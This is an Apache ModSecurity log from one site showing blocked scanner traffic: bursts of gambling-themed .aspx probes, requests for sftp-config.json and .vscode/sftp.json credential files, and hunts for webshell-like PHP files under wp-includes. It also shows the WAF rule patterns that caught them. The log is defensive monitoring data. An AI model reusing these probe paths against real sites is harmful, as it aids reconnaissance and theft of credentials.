[Tue May 19 01:55:42.892084 2026] [:error] [pid 44087:tid 44094] [client 147.135.213.234:44388] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "agtSnm5HPHbH9GK7l6wOZQAAAcU"]
[Tue May 19 01:55:44.874102 2026] [:error] [pid 36491:tid 36500] [client 147.135.213.234:44402] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "agtSoE555B9CZb6D60n8eQAAAUU"]
[Tue May 19 01:55:46.862059 2026] [:error] [pid 36491:tid 36510] [client 147.135.213.234:59734] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "agtSok555B9CZb6D60n8fAAAAU8"]
[Tue May 19 01:55:48.885979 2026] [:error] [pid 36491:tid 36504] [client 147.135.213.234:59750] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "agtSpE555B9CZb6D60n8gQAAAUk"]
[Tue May 19 01:55:50.884019 2026] [:error] [pid 36491:tid 36519] [client 147.135.213.234:59756] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "agtSpk555B9CZb6D60n8hQAAAVg"]
[Tue May 19 01:55:53.147528 2026] [:error] [pid 36492:tid 36523] [client 147.135.213.234:59768] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "agtSqWCVlogrkn9m2w4oxgAAAAE"]
[Tue May 19 01:55:55.301603 2026] [:error] [pid 36492:tid 36537] [client 147.135.213.234:59784] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "agtSq2CVlogrkn9m2w4oyAAAAA8"]
[Tue May 19 01:55:57.345970 2026] [:error] [pid 36492:tid 36532] [client 147.135.213.234:48104] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "agtSrWCVlogrkn9m2w4ozQAAAAo"]
[Tue May 19 01:55:59.206220 2026] [:error] [pid 36579:tid 36589] [client 147.135.213.234:48110] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "agtSr1-aoZxBfgL5vDy1AQAAAEc"]
[Tue May 19 01:55:59.326746 2026] [:error] [pid 36579:tid 36591] [client 147.135.213.234:48116] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "agtSr1-aoZxBfgL5vDy1AgAAAEk"]
[Tue May 19 01:56:01.244611 2026] [:error] [pid 36579:tid 36586] [client 147.135.213.234:48120] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "agtSsV-aoZxBfgL5vDy1CAAAAEQ"]
[Tue May 19 01:56:21.629203 2026] [:error] [pid 36579:tid 36601] [client 147.135.213.234:48142] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "agtSxV-aoZxBfgL5vDy1HgAAAFM"]
[Tue May 19 01:56:21.997877 2026] [:error] [pid 44087:tid 44103] [client 147.135.213.234:33704] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/789%20slot.aspx"] [unique_id "agtSxW5HPHbH9GK7l6wOewAAAc4"]
[Tue May 19 01:56:24.092090 2026] [:error] [pid 36492:tid 36542] [client 147.135.213.234:38320] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/888%20slot.aspx"] [unique_id "agtSyGCVlogrkn9m2w4o6gAAABQ"]
[Tue May 19 01:56:26.169606 2026] [:error] [pid 36493:tid 36553] [client 147.135.213.234:44656] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all%20slot.aspx"] [unique_id "agtSygynkzQB5nM668rkfgAAAQQ"]
[Tue May 19 01:56:27.929228 2026] [:error] [pid 44010:tid 44022] [client 147.135.213.234:44660] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/allslot%20wallet.aspx"] [unique_id "agtSyzcFUuogD3-74-aNZAAAAMo"]
[Tue May 19 01:56:29.934527 2026] [:error] [pid 43916:tid 43937] [client 147.135.213.234:44674] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amb%20superslot.aspx"] [unique_id "agtSzdQC236p33zJJvneKgAAAI0"]
[Tue May 19 01:56:32.089623 2026] [:error] [pid 36492:tid 36525] [client 147.135.213.234:44690] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "agtS0GCVlogrkn9m2w4o8QAAAAM"]
[Tue May 19 01:56:34.234446 2026] [:error] [pid 36492:tid 36545] [client 147.135.213.234:44702] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "agtS0mCVlogrkn9m2w4o-AAAABc"]
[Tue May 19 01:56:36.288165 2026] [:error] [pid 44010:tid 44017] [client 147.135.213.234:37850] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "agtS1DcFUuogD3-74-aNbgAAAMU"]
[Tue May 19 01:56:38.224749 2026] [:error] [pid 36492:tid 36533] [client 147.135.213.234:37858] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "agtS1mCVlogrkn9m2w4pAwAAAAs"]
[Tue May 19 01:56:40.010961 2026] [:error] [pid 36492:tid 36525] [client 147.135.213.234:37872] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "agtS2GCVlogrkn9m2w4pBgAAAAM"]
[Tue May 19 01:56:42.043335 2026] [:error] [pid 36491:tid 36507] [client 147.135.213.234:37884] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "agtS2k555B9CZb6D60n8xgAAAUw"]
[Tue May 19 01:56:44.206393 2026] [:error] [pid 44010:tid 44016] [client 147.135.213.234:37888] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "agtS3DcFUuogD3-74-aNdAAAAMQ"]
[Tue May 19 01:56:46.120421 2026] [:error] [pid 44010:tid 44022] [client 147.135.213.234:37900] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "agtS3jcFUuogD3-74-aNdgAAAMo"]
[Tue May 19 01:56:48.061159 2026] [:error] [pid 44010:tid 44032] [client 147.135.213.234:42098] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "agtS4DcFUuogD3-74-aNdwAAANQ"]
[Tue May 19 01:56:50.122963 2026] [:error] [pid 36491:tid 36519] [client 147.135.213.234:42100] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "agtS4k555B9CZb6D60n8xwAAAVg"]
[Tue May 19 01:56:52.046708 2026] [:error] [pid 36492:tid 36541] [client 147.135.213.234:42106] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "agtS5GCVlogrkn9m2w4pGAAAABM"]
[Tue May 19 01:56:53.986528 2026] [:error] [pid 44010:tid 44014] [client 147.135.213.234:42120] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "agtS5TcFUuogD3-74-aNfQAAAMI"]
[Tue May 19 01:56:55.933199 2026] [:error] [pid 36491:tid 36509] [client 147.135.213.234:42134] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "agtS50555B9CZb6D60n8zAAAAU4"]
[Tue May 19 01:56:58.049925 2026] [:error] [pid 36491:tid 36501] [client 147.135.213.234:33752] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "agtS6k555B9CZb6D60n80gAAAUY"]
[Tue May 19 01:57:00.093184 2026] [:error] [pid 36493:tid 36550] [client 147.135.213.234:33766] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "agtS7AynkzQB5nM668rkpQAAAQE"]
[Tue May 19 01:57:01.914483 2026] [:error] [pid 36579:tid 36596] [client 147.135.213.234:33782] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "agtS7V-aoZxBfgL5vDy1KQAAAE4"]
[Tue May 19 01:57:03.912438 2026] [:error] [pid 36492:tid 36530] [client 147.135.213.234:33794] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "agtS72CVlogrkn9m2w4pKAAAAAg"]
[Tue May 19 01:57:05.889279 2026] [:error] [pid 36491:tid 36502] [client 147.135.213.234:33796] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "agtS8U555B9CZb6D60n81QAAAUc"]
[Tue May 19 01:57:07.879750 2026] [:error] [pid 36579:tid 36585] [client 147.135.213.234:55326] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "agtS81-aoZxBfgL5vDy1LwAAAEM"]
[Tue May 19 01:57:09.836364 2026] [:error] [pid 36491:tid 36510] [client 147.135.213.234:55342] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "agtS9U555B9CZb6D60n84AAAAU8"]
[Tue May 19 01:57:11.739948 2026] [:error] [pid 36579:tid 36595] [client 147.135.213.234:55356] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "agtS91-aoZxBfgL5vDy1NQAAAE0"]
[Tue May 19 01:57:13.837271 2026] [:error] [pid 36492:tid 36545] [client 147.135.213.234:55364] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "agtS-WCVlogrkn9m2w4pOQAAABc"]
[Tue May 19 01:57:15.802217 2026] [:error] [pid 36491:tid 36507] [client 147.135.213.234:55372] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "agtS-0555B9CZb6D60n85AAAAUw"]
[Tue May 19 01:57:17.698685 2026] [:error] [pid 36492:tid 36539] [client 147.135.213.234:47926] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "agtS_WCVlogrkn9m2w4pSwAAABE"]
[Tue May 19 01:57:52.341976 2026] [:error] [pid 36491:tid 36498] [client 147.135.213.234:47930] [client 147.135.213.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "agtTIE555B9CZb6D60n9KgAAAUM"]
[Tue May 19 04:47:01.035916 2026] [:error] [pid 38699:tid 38752] [client 103.65.237.216:50925] [client 103.65.237.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "agt6xb--Adsw_P-dthYg5AAAAEo"]
[Tue May 19 04:47:01.779014 2026] [:error] [pid 38697:tid 38734] [client 103.65.237.216:51248] [client 103.65.237.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "agt6xaXP9pP6Kgt-msSYngAAABM"]
[Tue May 19 05:36:41.375974 2026] [:error] [pid 38697:tid 38720] [client 146.19.215.249:57401] [client 146.19.215.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/core.php"] [unique_id "aguGaaXP9pP6Kgt-msSeyQAAAAU"]
[Tue May 19 05:53:37.720595 2026] [:error] [pid 38697:tid 38723] [client 194.26.192.149:55116] [client 194.26.192.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/txets.php"] [unique_id "aguKYaXP9pP6Kgt-msShawAAAAg"]
[Tue May 19 05:53:38.223463 2026] [:error] [pid 38699:tid 38761] [client 194.26.192.149:55150] [client 194.26.192.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "aguKYr--Adsw_P-dthYrdgAAAFM"]
[Tue May 19 05:53:38.727139 2026] [:error] [pid 38705:tid 38777] [client 194.26.192.149:55190] [client 194.26.192.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "aguKYsg5dNOZ5umN9lsZSgAAAIg"]
[Tue May 19 05:53:41.510297 2026] [:error] [pid 41573:tid 41580] [client 194.26.192.149:55346] [client 194.26.192.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "aguKZS1A2bd6JDSW9RYwgwAAAQU"]
[Tue May 19 05:59:18.416477 2026] [:error] [pid 38697:tid 38727] [client 43.130.101.151:33244] [client 43.130.101.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aguLtqXP9pP6Kgt-msShsQAAAAw"]
[Tue May 19 11:37:33.589650 2026] [:error] [pid 46896:tid 46919] [client 175.27.171.245:35440] [client 175.27.171.245] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agva_aCHyzL3Ci9LGE0l9gAAAZU"]
[Tue May 19 14:15:29.615374 2026] [:error] [pid 46896:tid 46905] [client 150.109.230.210:33956] [client 150.109.230.210] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agwAAaCHyzL3Ci9LGE1GEQAAAYc"]
[Tue May 19 15:51:57.622341 2026] [:error] [pid 38699:tid 38750] [client 143.105.253.170:20630] [client 143.105.253.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.105.253.170, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agwWnb--Adsw_P-dthaCxAAAAEg"]
[Tue May 19 15:52:07.063082 2026] [:error] [pid 29622:tid 29625] [client 143.105.253.170:31001] [client 143.105.253.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.105.253.170, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agwWpzkOqPKWkPs_P15IdQAAAgE"]
[Tue May 19 15:52:19.676429 2026] [:error] [pid 38814:tid 38838] [client 143.105.253.170:17804] [client 143.105.253.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.105.253.170, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agwWswvkKuBwP0epzWeIsAAAANY"]
